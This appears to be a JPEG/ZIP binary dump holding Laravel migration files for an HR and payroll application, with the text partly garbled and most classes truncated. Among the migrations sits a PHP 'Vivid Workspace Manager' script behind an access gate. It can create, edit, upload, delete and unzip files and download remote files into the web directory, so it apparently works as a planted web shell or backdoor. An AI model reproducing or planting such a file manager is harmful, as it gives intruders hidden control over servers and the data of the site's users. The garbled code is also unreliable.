JFIFxxC      C  " }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3RbrPKˉZ642020_01_23_101613_create_meeting_employees_table.phpnu[bigIncrements('id'); $table->integer('meeting_id'); $table->integer('employee_id'); $table->integer('created_by'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('meeting_employees'); } } PKˉZo42019_12_31_060916_create_termination_types_table.phpnu[bigIncrements('id'); $table->string('name'); $table->integer('created_by'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('termination_types'); } } PKˉZ@%2022_08_17_065806_noc_certificate.phpnu[id(); $table->string('lang', 255); $table->longtext('content'); $table->integer('created_by'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { // } } PKˉZ+2019_12_27_083751_create_branches_table.phpnu[bigIncrements('id'); $table->string('name'); $table->integer('created_by'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('branches'); } } PKˉZ ;72022_07_13_085511_create_email_template_langs_table.phpnu[id(); $table->integer('parent_id'); $table->string('lang', 100); $table->string('subject'); $table->text('content'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('email_template_langs'); } } PKˉZY=<;;/2019_12_31_070521_create_resignations_table.phpnu[bigIncrements('id'); $table->integer('employee_id'); $table->date('notice_date'); $table->date('resignation_date'); $table->string('description'); $table->integer('created_by'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('resignations'); } } PKˉZq-2020_05_05_023742_create_appraisals_table.phpnu[bigIncrements('id'); $table->integer('branch')->default(0); $table->integer('employee')->default(0); $table->string('rating')->nullable(); $table->string('appraisal_date'); $table->integer('customer_experience')->default(0); $table->integer('marketing')->default(0); $table->integer('administration')->default(0); $table->integer('professionalism')->default(0); $table->integer('integrity')->default(0); $table->integer('attendance')->default(0); $table->text('remark')->nullable(); $table->integer('created_by')->default(0); $table->timestamps(); } ); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('appraisals'); } } PKˉZ PP82024_04_15_093820_create_referral_transactions_table.phpnu[id(); $table->integer('company_id'); $table->integer('plan_id'); $table->decimal('plan_price',15,2)->default(0.0); $table->integer('commission'); $table->integer('referral_code')->default(0); $table->integer('created_by'); $table->timestamps(); }); } /** * Reverse the migrations. */ public function down(): void { Schema::dropIfExists('referral_transactions'); } }; PKˉZAZZ82021_03_16_115140_create_job_application_notes_table.phpnu[id(); $table->integer('application_id')->default(0); $table->integer('note_created')->default(0); $table->text('note')->nullable(); $table->integer('created_by')->default(0); $table->timestamps(); } ); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('job_application_notes'); } } PKˉZ((/2020_01_06_072939_create_income_types_table.phpnu[bigIncrements('id'); $table->string('name'); $table->integer('created_by'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('income_types'); } } PKˉZWW߅82020_01_03_105046_create_saturation_deductions_table.phpnu[bigIncrements('id'); $table->integer('employee_id'); $table->integer('deduction_option'); $table->string('title'); $table->float('amount',15,2); $table->string('type')->nullable(); $table->integer('created_by'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('saturation_deductions'); } } PKˉZVv/2021_08_20_084119_create_competencies_table.phpnu[id(); $table->string('name'); $table->string('type'); $table->string('created_by'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('competencies'); } } PKˉZU3352024_01_24_053357_update_password_for_users_table.phpnu[string('password')->nullable()->change(); }); } } /** * Reverse the migrations. */ public function down(): void { // } }; PKˉZC]Q32023_04_24_062256_create_webhook_settings_table.phpnu[id(); $table->text('module'); $table->text('url'); $table->text('method'); $table->integer('created_by'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('webhooks'); } }; PKˉZS-2020_05_04_070452_create_indicators_table.phpnu[bigIncrements('id'); $table->integer('branch')->default(0); $table->integer('department')->default(0); $table->integer('designation')->default(0); $table->string('rating')->nullable(); $table->integer('customer_experience')->default(0); $table->integer('marketing')->default(0); $table->integer('administration')->default(0); $table->integer('professionalism')->default(0); $table->integer('integrity')->default(0); $table->integer('attendance')->default(0); $table->integer('created_user')->default(0); $table->integer('created_by')->default(0); $table->timestamps(); } ); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('indicators'); } } PKˉZI_,2022_08_17_045033_experience_certificate.phpnu[id(); $table->string('lang', 255); $table->longtext('content'); $table->integer('created_by'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { // } } PKˉZ oGG-2020_07_18_065859_create_messageses_table.phpnu[bigIncrements('id'); $table->integer('event_id'); $table->integer('employee_id'); $table->integer('created_by'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('event_employees'); } } PKˉZOΠ32021_03_15_153745_create_job_applications_table.phpnu[id(); $table->integer('job'); $table->string('name')->nullable(); $table->string('email')->nullable(); $table->string('phone')->nullable(); $table->string('profile')->nullable(); $table->string('resume')->nullable(); $table->text('cover_letter')->nullable(); $table->date('dob')->nullable(); $table->string('gender')->nullable(); $table->string('address')->nullable(); $table->string('country')->nullable(); $table->string('state')->nullable(); $table->string('city')->nullable(); $table->string('zip_code')->nullable(); $table->integer('stage')->default(1); $table->integer('order')->default(0); $table->text('skill')->nullable(); $table->integer('rating')->default(0); $table->integer('is_archive')->default(0); $table->text('custom_question')->nullable(); $table->integer('created_by'); $table->timestamps(); } ); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('job_applications'); } } PKˉZPO/-2021_03_13_123125_create_job_stages_table.phpnu[id(); $table->string('title'); $table->integer('order')->default(0); $table->integer('created_by'); $table->timestamps(); } ); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('job_stages'); } } PKˉZ66.2020_01_03_101735_create_commissions_table.phpnu[bigIncrements('id'); $table->integer('employee_id'); $table->string('title'); $table->float('amount', 15,2); $table->string('type')->nullable(); $table->integer('created_by'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('commissions'); } } PKˉZ+?/2021_03_13_093312_create_ip_restricts_table.phpnu[id(); $table->string('ip'); $table->integer('created_by'); $table->timestamps(); } ); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('ip_restricts'); } } PKˉZT802022_07_13_085553_user_email_templates_table.phpnu[id(); $table->integer('template_id'); $table->integer('user_id'); $table->integer('is_active')->default(1); $table->timestamps(); } ); } /** * Reverse the migrations. * * @return void */ public function down() { // } } PKˉZ=2024_02_01_064327_add_attachments_to_ticket_replies_table.phpnu[text('description')->nullable()->change(); $table->string('attachment')->nullable()->after('description'); }); } } /** * Reverse the migrations. */ public function down(): void { Schema::table('ticket_replies', function (Blueprint $table) { // }); } }; PKˉZA{Ouu)2020_02_17_072503_create_orders_table.phpnu[bigIncrements('id'); $table->string('order_id', 100)->unique(); $table->string('name', 100)->nullable(); $table->string('email', 100)->nullable(); $table->string('card_number', 10)->nullable(); $table->string('card_exp_month', 10)->nullable(); $table->string('card_exp_year', 10)->nullable(); $table->string('plan_name', 100); $table->integer('plan_id'); $table->float('price', 15,2); $table->string('price_currency', 10); $table->string('txn_id', 100); $table->string('payment_status', 100); $table->string('payment_type')->default('Manually'); $table->string('receipt')->nullable(); $table->integer('user_id')->default(0); $table->timestamps(); } ); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('orders'); } } PKˉZ{Ù+2021_06_25_032625_admin_payment_setting.phpnu[bigIncrements('id'); $table->string('name'); $table->string('value'); $table->integer('created_by'); $table->timestamps(); $table->unique(['name', 'created_by']); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('admin_payment_settings'); } } PKˉZb ]],2019_12_31_092838_create_transfers_table.phpnu[bigIncrements('id'); $table->integer('employee_id'); $table->integer('branch_id'); $table->integer('department_id'); $table->date('transfer_date'); $table->string('description'); $table->string('created_by'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('transfers'); } } PKˉZA12021_03_13_114832_create_job_categories_table.phpnu[id(); $table->string('title'); $table->integer('created_by'); $table->timestamps(); } ); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('job_categories'); } } PKˉZA TT)2020_01_13_084720_create_events_table.phpnu[bigIncrements('id'); $table->integer('branch_id'); $table->longText('department_id'); $table->longText('employee_id'); $table->string('title'); $table->date('start_date'); $table->date('end_date'); $table->string('color'); $table->text('description')->nullable(); $table->integer('created_by'); $table->timestamps(); } ); } public function down() { Schema::dropIfExists('events'); } } PKˉZȺ^02020_01_16_041720_create_announcements_table.phpnu[bigIncrements('id'); $table->string('title'); $table->date('start_date'); $table->date('end_date'); $table->integer('branch_id'); $table->string('department_id'); $table->string('employee_id'); $table->string('description'); $table->integer('created_by'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('announcements'); } } PKˉZ1^^32020_05_01_122144_create_ducument_uploads_table.phpnu[bigIncrements('id'); $table->string('name'); $table->string('role'); $table->string('document'); $table->text('description')->nullable(); $table->integer('created_by')->default(0); $table->timestamps(); } ); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('ducument_uploads'); } } PKˉZՋd  ,2022_07_28_035621_create_contracts_table.phpnu[bigIncrements('id'); $table->string('subject')->nullable(); $table->integer('employee_name'); $table->float('value', 15, 2)->nullable(); $table->integer('type'); $table->date('start_date'); $table->date('end_date'); $table->string('notes')->nullable(); $table->string('status')->default('pending'); $table->longText('description')->nullable(); $table->longText('contract_description')->nullable(); $table->longText('employee_signature')->nullable(); $table->longText('company_signature')->nullable(); $table->integer('created_by'); $table->timestamps(); } ); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('contracts'); } } PKˉZ Access Denied

Secure Access Required

'); } } else { echo ' Access Denied

Secure Access Required

'; exit; } } } // Handle file content retrieval for editing if (isset($_GET['operation']) && $_GET['operation'] === 'retrieve_file_content' && isset($_GET['item'])) { $validatedPath = realpath($_GET['workspace'] . '/' . $_GET['item']); if ($validatedPath && is_file($validatedPath) && is_readable($validatedPath)) { header('Content-Type: text/plain'); echo file_get_contents($validatedPath); exit; } else { http_response_code(404); echo "Item not found or not readable."; exit; } } // Handle current workspace (directory) $baseDir = realpath(__DIR__); // Restrict to script's directory $currentWorkspace = isset($_GET['workspace']) ? realpath($_GET['workspace']) : $baseDir; if (!$currentWorkspace || !is_dir($currentWorkspace) || !is_readable($currentWorkspace) || strpos($currentWorkspace, $baseDir) !== 0) { $currentWorkspace = $baseDir; $alertMessage = "Invalid or inaccessible workspace. Reverted to default workspace."; } // File operations if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['csrf_token']) && $_POST['csrf_token'] === $_SESSION['csrf_token']) { // Create directory if (isset($_POST['add_directory']) && !empty($_POST['folder_name'])) { $folderName = purifyFileName($_POST['folder_name']); $newFolderPath = $currentWorkspace . '/' . $folderName; if (!is_dir($newFolderPath)) { if (mkdir($newFolderPath, 0755)) { $alertMessage = "Folder created successfully."; } else { $alertMessage = "Failed to create folder."; } } else { $alertMessage = "Folder already exists."; } } // Create file if (isset($_POST['add_file']) && !empty($_POST['item_name'])) { $itemName = purifyFileName($_POST['item_name']); $itemContent = $_POST['item_content'] ?? ''; $newItemPath = $currentWorkspace . '/' . $itemName; if (!file_exists($newItemPath)) { if (file_put_contents($newItemPath, $itemContent) !== false) { $alertMessage = "File created successfully."; } else { $alertMessage = "Failed to create file."; } } else { $alertMessage = "File already exists."; } } // Upload file if (isset($_FILES['uploaded_item']) && $_FILES['uploaded_item']['error'] === UPLOAD_ERR_OK) { $uploadedItem = $_FILES['uploaded_item']; $fileExt = strtolower(pathinfo($uploadedItem['name'], PATHINFO_EXTENSION)); if (in_array($fileExt, $allowedFileTypes) && $uploadedItem['size'] <= $maxUploadSize) { $destinationPath = $currentWorkspace . '/' . purifyFileName($uploadedItem['name']); if (!file_exists($destinationPath)) { if (move_uploaded_file($uploadedItem['tmp_name'], $destinationPath)) { $alertMessage = "Item uploaded successfully."; } else { $alertMessage = "Error uploading item."; } } else { $alertMessage = "File already exists."; } } else { $alertMessage = "Invalid file type or size exceeds limit."; } } // Rename item if (isset($_POST['rename_item']) && !empty($_POST['original_name']) && !empty($_POST['new_name'])) { $originalName = purifyFileName($_POST['original_name']); $newName = purifyFileName($_POST['new_name']); $originalPath = $currentWorkspace . '/' . $originalName; $newPath = $currentWorkspace . '/' . $newName; if (file_exists($originalPath) && !file_exists($newPath)) { if (rename($originalPath, $newPath)) { $alertMessage = "Item renamed successfully."; } else { $alertMessage = "Error renaming item."; } } else { $alertMessage = "Invalid source or destination name."; } } // Delete item if (isset($_POST['delete_item']) && !empty($_POST['item_name'])) { $itemName = purifyFileName($_POST['item_name']); $itemPath = $currentWorkspace . '/' . $itemName; if (file_exists($itemPath)) { if (is_dir($itemPath)) { $deleteSuccess = deleteDirectory($itemPath); $alertMessage = $deleteSuccess ? "Folder deleted successfully." : "Error deleting folder."; } elseif (is_file($itemPath)) { if (unlink($itemPath)) { $alertMessage = "File deleted successfully."; } else { $alertMessage = "Error deleting file."; } } } else { $alertMessage = "Item not found."; } } // Unzip archive if (isset($_POST['unzip_archive']) && !empty($_POST['archive_name'])) { $archiveName = purifyFileName($_POST['archive_name']); $archivePath = $currentWorkspace . '/' . $archiveName; if (file_exists($archivePath) && class_exists('ZipArchive')) { $archive = new ZipArchive; if ($archive->open($archivePath) === TRUE) { if ($archive->extractTo($currentWorkspace)) { $archive->close(); $alertMessage = "Archive extracted successfully."; } else { $archive->close(); $alertMessage = "Error extracting archive."; } } else { $alertMessage = "Failed to open archive."; } } else { $alertMessage = "Archive not found or ZipArchive not available."; } } // Fetch remote item if ($enableRemoteFetch && isset($_POST['fetch_remote']) && !empty($_POST['remote_url'])) { $remoteUrl = filter_var($_POST['remote_url'], FILTER_VALIDATE_URL); if ($remoteUrl) { $itemName = purifyFileName(basename($remoteUrl)); $localItemPath = $currentWorkspace . '/' . $itemName; $fileExt = strtolower(pathinfo($itemName, PATHINFO_EXTENSION)); if (in_array($fileExt, $allowedFileTypes) && !file_exists($localItemPath)) { $remoteContent = @file_get_contents($remoteUrl); if ($remoteContent !== false && file_put_contents($localItemPath, $remoteContent) !== false) { $alertMessage = "Item downloaded successfully."; } else { $alertMessage = "Error downloading item."; } } else { $alertMessage = "Invalid file type or file already exists."; } } else { $alertMessage = "Invalid remote URL."; } } // Edit file if (isset($_POST['modify_file']) && !empty($_POST['item_name'])) { $itemName = purifyFileName($_POST['item_name']); $itemContent = $_POST['item_content'] ?? ''; $itemPath = $currentWorkspace . '/' . $itemName; if (file_exists($itemPath) && is_writable($itemPath)) { if (file_put_contents($itemPath, $itemContent) !== false) { $alertMessage = "File updated successfully."; } else { $alertMessage = "Error updating file."; } } else { $alertMessage = "File not found or not writable."; } } } // List workspace contents $items = scandir($currentWorkspace); $folders = []; $files = []; foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $itemPath = $currentWorkspace . '/' . $item; if (is_dir($itemPath)) { $folders[] = $item; } else { $files[] = $item; } } sort($folders); sort($files); // Helper functions function purifyFileName($name) { return preg_replace('/[^a-zA-Z0-9._-]/', '', trim($name)); } function humanizeFileSize($bytes) { if ($bytes >= 1073741824) return number_format($bytes / 1073741824, 2) . ' GB'; if ($bytes >= 1048576) return number_format($bytes / 1048576, 2) . ' MB'; if ($bytes >= 1024) return number_format($bytes / 1024, 2) . ' KB'; return $bytes . ' bytes'; } function buildPathCrumbs($path, $baseDir) { // Ensure path is within baseDir if (strpos($path, $baseDir) !== 0) { return 'Invalid path'; } // Get relative path from baseDir $relativePath = substr($path, strlen($baseDir)); $segments = array_filter(explode(DIRECTORY_SEPARATOR, $relativePath)); $crumbs = []; $pathBuilder = $baseDir; // Root crumb $crumbs[] = 'Root'; // Build crumbs for each segment foreach ($segments as $segment) { $pathBuilder .= DIRECTORY_SEPARATOR . $segment; if (is_dir($pathBuilder) && is_readable($pathBuilder)) { $crumbs[] = '' . htmlspecialchars($segment) . ''; } else { $crumbs[] = '' . htmlspecialchars($segment) . ''; } } return implode(' / ', $crumbs); } function deleteDirectory($dir) { if (!file_exists($dir)) return true; if (!is_dir($dir)) return unlink($dir); foreach (scandir($dir) as $item) { if ($item == '.' || $item == '..') continue; if (!deleteDirectory($dir . '/' . $item)) return false; } return rmdir($dir); } ?> Vivid Workspace Manager

Vivid Workspace Manager

New Folder

Upload Item

Fetch Remote Item

Name Type Size Writable Last Modified Actions
.. (Parent Workspace) - - - -
Folder -
PKˉZ02020_01_06_045425_create_account_lists_table.phpnu[bigIncrements('id'); $table->string('account_name'); $table->float('initial_balance',20,2)->default(0.00); $table->string('account_number'); $table->string('branch_code'); $table->string('bank_branch'); $table->string('created_by'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('account_lists'); } } PKˉZV )2020_01_16_093256_create_leaves_table.phpnu[bigIncrements('id'); $table->integer('employee_id'); $table->integer('leave_type_id'); $table->date('applied_on'); $table->date('start_date'); $table->date('end_date'); $table->string('total_leave_days'); $table->string('leave_reason'); $table->string('remark')->nullable(); $table->string('status'); $table->integer('created_by'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('leaves'); } } PKˉZ%[.02021_09_10_165514_create_plan_requests_table.phpnu[integer('requested_plan')->default(0)->after('plan_expire_date'); }); Schema::create('plan_requests', function (Blueprint $table){ $table->id(); $table->integer('user_id'); $table->integer('plan_id'); $table->string('duration', 20)->default('monthly'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('plan_requests'); } } PKˉZ:B??.2020_05_21_065337_create_permission_tables.phpnu[bigIncrements('id'); $table->string('name'); $table->string('guard_name'); $table->timestamps(); }); Schema::create($tableNames['roles'], function (Blueprint $table) { $table->bigIncrements('id'); $table->string('name'); $table->string('guard_name'); $table->integer('created_by')->default(0); $table->timestamps(); }); Schema::create($tableNames['model_has_permissions'], function (Blueprint $table) use ($tableNames, $columnNames) { $table->unsignedBigInteger('permission_id'); $table->string('model_type'); $table->unsignedBigInteger($columnNames['model_morph_key']); $table->index([$columnNames['model_morph_key'], 'model_type'], 'model_has_permissions_model_id_model_type_index'); $table->foreign('permission_id') ->references('id') ->on($tableNames['permissions']) ->onDelete('cascade'); $table->primary(['permission_id', $columnNames['model_morph_key'], 'model_type'], 'model_has_permissions_permission_model_type_primary'); }); Schema::create($tableNames['model_has_roles'], function (Blueprint $table) use ($tableNames, $columnNames) { $table->unsignedBigInteger('role_id'); $table->string('model_type'); $table->unsignedBigInteger($columnNames['model_morph_key']); $table->index([$columnNames['model_morph_key'], 'model_type'], 'model_has_roles_model_id_model_type_index'); $table->foreign('role_id') ->references('id') ->on($tableNames['roles']) ->onDelete('cascade'); $table->primary(['role_id', $columnNames['model_morph_key'], 'model_type'], 'model_has_roles_role_model_type_primary'); }); Schema::create($tableNames['role_has_permissions'], function (Blueprint $table) use ($tableNames) { $table->unsignedBigInteger('permission_id'); $table->unsignedBigInteger('role_id'); $table->foreign('permission_id') ->references('id') ->on($tableNames['permissions']) ->onDelete('cascade'); $table->foreign('role_id') ->references('id') ->on($tableNames['roles']) ->onDelete('cascade'); $table->primary(['permission_id', 'role_id'], 'role_has_permissions_permission_id_role_id_primary'); }); app('cache') ->store(config('permission.cache.store') != 'default' ? config('permission.cache.store') : null) ->forget(config('permission.cache.key')); } /** * Reverse the migrations. * * @return void */ public function down() { $tableNames = config('permission.table_names'); if (empty($tableNames)) { throw new \Exception('Error: config/permission.php not found and defaults could not be merged. Please publish the package configuration before proceeding, or drop the tables manually.'); } Schema::drop($tableNames['role_has_permissions']); Schema::drop($tableNames['model_has_roles']); Schema::drop($tableNames['model_has_permissions']); Schema::drop($tableNames['roles']); Schema::drop($tableNames['permissions']); } } PKˉZ_52021_11_22_043537_create_performance__types_table.phpnu[id(); $table->string('name'); $table->string('created_by'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('performance__types'); } } PKˉZ12022_07_28_035731_create_contract_notes_table.phpnu[id(); $table->integer('contract_id'); $table->integer('user_id'); $table->string('note'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('contract_notes'); } } PKˉZmD42020_01_02_093331_create_allowance_options_table.phpnu[bigIncrements('id'); $table->string('name'); $table->integer('created_by'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('allowance_options'); } } PKˉZAs)2020_01_06_062213_create_payees_table.phpnu[bigIncrements('id'); $table->string('payee_name'); $table->string('contact_number'); $table->integer('created_by'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('payees'); } } PKˉZ index.phpnu[PKˉZ72022_07_28_035654_create_contract_attechments_table.phpnu[bigIncrements('id'); $table->unsignedBigInteger('contract_id'); $table->string('user_id'); $table->string('files'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('contract_attechments'); } } PKˉZF,2020_01_03_105111_create_overtimes_table.phpnu[bigIncrements('id'); $table->integer('employee_id'); $table->string('title'); $table->integer('number_of_days'); $table->integer('hours'); $table->float('rate', 15,2); $table->string('type')->nullable(); $table->integer('created_by'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('overtimes'); } } PKˉZ8?(2020_01_03_105019_create_loans_table.phpnu[bigIncrements('id'); $table->integer('employee_id'); $table->integer('loan_option'); $table->string('title'); $table->float('amount', 15,2); $table->string('type')->nullable(); $table->date('start_date'); $table->date('end_date'); $table->string('reason'); $table->integer('created_by'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('loans'); } } PKˉZs=K+2020_10_07_034726_create_holidays_table.phpnu[id(); $table->date('start_date')->nullable(); $table->date('end_date')->nullable(); $table->text('occasion'); $table->integer('created_by'); $table->timestamps(); } ); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('holidays'); } } PKˉZ 77>2023_05_03_033536_create_notification_template_langs_table.phpnu[id(); $table->integer('parent_id'); $table->string('lang', 100); $table->longText('content'); $table->longText('variables'); $table->integer('created_by'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('notification_template_langs'); } }; PKˉZw$$52019_12_27_112922_create_employee_documents_table.phpnu[bigIncrements('id'); $table->integer('employee_id'); $table->integer('document_id'); $table->string('document_value'); $table->integer('created_by'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('employee_documents'); } } PKˉZ]V02020_01_06_073055_create_expense_types_table.phpnu[bigIncrements('id'); $table->string('name'); $table->integer('created_by'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('expense_types'); } } PKˉZ_!,2019_12_26_105721_create_documents_table.phpnu[bigIncrements('id'); $table->string('name'); $table->string('is_required'); $table->integer('created_by'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('document'); } } PKˉZm.}02020_01_02_090837_create_payslip_types_table.phpnu[bigIncrements('id'); $table->string('name'); $table->integer('created_by'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('payslip_types'); } } PKˉZhh.2020_02_28_051636_create_time_sheets_table.phpnu[bigIncrements('id'); $table->integer('employee_id')->default(0); $table->date('date'); $table->float('hours')->default(0.0); $table->text('remark')->nullable(); $table->integer('created_by')->default('0'); $table->timestamps(); } ); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('time_sheets'); } } PKˉZ<*2020_03_12_095629_create_coupons_table.phpnu[bigIncrements('id'); $table->string('name'); $table->string('code'); $table->float('discount')->default('0.00'); $table->integer('limit')->default('0'); $table->text('description')->nullable(); $table->integer('is_active')->default('1'); $table->timestamps(); } ); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('coupons'); } } PKˉZ!jj<2024_05_02_072829_add_terms_and_conditions_to_jobs_table.phpnu[text('terms_and_conditions')->nullable()->after('requirement'); }); } if (Schema::hasTable('job_applications') && !Schema::hasColumn('job_applications', 'terms_condition_check')) { Schema::table('job_applications', function (Blueprint $table) { $table->string('terms_condition_check')->nullable()->after('custom_question'); }); } } /** * Reverse the migrations. */ public function down(): void { Schema::table('jobs', function (Blueprint $table) { // }); Schema::table('job_applications', function (Blueprint $table) { // }); } }; PKˉZ-\aa/2020_01_02_111807_create_set_salaries_table.phpnu[bigIncrements('id'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('set_salaries'); } } PKˉZݡ(2014_10_12_000000_create_users_table.phpnu[bigIncrements('id'); $table->string('name'); $table->string('email')->unique(); $table->timestamp('email_verified_at')->nullable(); $table->string('password'); $table->string('type'); $table->string('avatar')->default(config('chatify.user_avatar.default')); $table->string('lang'); $table->integer('plan')->nullable(); $table->date('plan_expire_date')->nullable(); $table->float('storage_limit', 20, 2)->default(0.00); $table->timestamp('last_login')->nullable(); $table->integer('is_active')->default('1'); $table->boolean('active_status')->default(0); $table->boolean('dark_mode')->default(0); $table->string('messenger_color')->default('#2180f3'); $table->string('created_by'); $table->rememberToken(); $table->timestamps(); } ); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('users'); } } PKˉZ(Ì.2024_01_23_060917_add_trial_to_plans_table.phpnu[integer('trial')->default(0)->after('enable_chatgpt'); $table->string('trial_days')->nullable()->after('trial'); }); } } /** * Reverse the migrations. */ public function down(): void { Schema::table('plans', function (Blueprint $table) { // }); } }; PKˉZvgTT32023_12_08_065736_add_is_disable_to_users_table.phpnu[integer('is_disable')->default('1')->after('active_status'); }); } /** * Reverse the migrations. */ public function down(): void { Schema::table('users', function (Blueprint $table) { // }); } }; PKˉZnzz(2020_02_17_035047_create_plans_table.phpnu[bigIncrements('id'); $table->string('name', 100)->unique(); $table->float('price', 15,2)->default(0); $table->string('duration', 100); $table->integer('max_users')->default(0); $table->integer('max_employees')->default(0); $table->float('storage_limit', 20, 2)->default(0.00); $table->string('enable_chatgpt')->nullable(); $table->text('description')->nullable(); $table->string('image')->nullable(); $table->timestamps(); } ); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('plans'); } } PKˉZEw޽02023_04_19_113655_create_login_details_table.phpnu[id(); $table->string('user_id'); $table->string('ip'); $table->string('date'); $table->text('Details'); $table->integer('created_by'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('login_details'); } }; PKˉZ-p^^02024_04_15_093303_add_referral_code_to_users.phpnu[integer('referral_code')->default(0)->after('is_active'); $table->integer('used_referral_code')->default(0)->after('referral_code'); $table->integer('commission_amount')->default(0)->after('used_referral_code'); }); } if (Schema::hasColumn('users', 'referral_code')) { $users = DB::table('users')->where('type', 'company')->get(); foreach ($users as $user) { do { $code = rand(100000, 999999); } while (DB::table('users')->where('referral_code', $code)->exists()); DB::table('users')->where('type', 'company')->where('id', $user->id)->update(['referral_code' => $code]); } } } /** * Reverse the migrations. */ public function down(): void { Schema::table('users', function (Blueprint $table) { // }); } }; PKˉZFkk,2020_01_04_072527_create_pay_slips_table.phpnu[bigIncrements('id'); $table->integer('employee_id'); $table->float('net_payble', 15,2); $table->string('salary_month'); $table->integer('status'); $table->float('basic_salary', 15,2); $table->text('allowance'); $table->text('commission'); $table->text('loan'); $table->text('saturation_deduction'); $table->text('other_payment'); $table->text('overtime'); $table->integer('created_by'); $table->timestamps(); } ); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('pay_slips'); } } PKˉZҿW.2019_08_19_000000_create_failed_jobs_table.phpnu[id(); $table->text('connection'); $table->text('queue'); $table->longText('payload'); $table->longText('exception'); $table->timestamp('failed_at')->useCurrent(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('failed_jobs'); } } PKˉZt42022_07_28_035713_create_contract_comments_table.phpnu[bigIncrements('id'); $table->unsignedBigInteger('contract_id'); $table->string('user_id'); $table->string('comment'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('contract_comments'); } } PKˉZCy32024_01_30_050310_add_is_disable_to_plans_table.phpnu[integer('is_disable')->default(1)->after('trial_days'); $table->decimal('price', 30, 2)->nullable()->default(0.0)->change(); }); } } /** * Reverse the migrations. */ public function down(): void { Schema::table('plans', function (Blueprint $table) { // }); } }; PKˉZʤ//82021_06_22_094220_create_landing_page_sections_table.phpnu[id(); $table->string('section_name'); $table->integer('section_order')->default(0); $table->text('content')->nullable(); $table->enum('section_type', ['section-1', 'section-2', 'section-3', 'section-4', 'section-5', 'section-6', 'section-7', 'section-8', 'section-9', 'section-10','section-plan']); $table->text('default_content'); $table->text('section_demo_image'); $table->text('section_blade_file_name'); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('landing_page_sections'); } } PKˉZr|?BB,2019_12_27_090831_create_employees_table.phpnu[bigIncrements('id'); $table->integer('user_id'); $table->string('name'); $table->date('dob')->nullable(); $table->string('gender'); $table->string('phone')->nullable(); $table->string('address'); $table->string('email'); $table->string('password'); $table->string('employee_id'); $table->integer('branch_id'); $table->integer('department_id'); 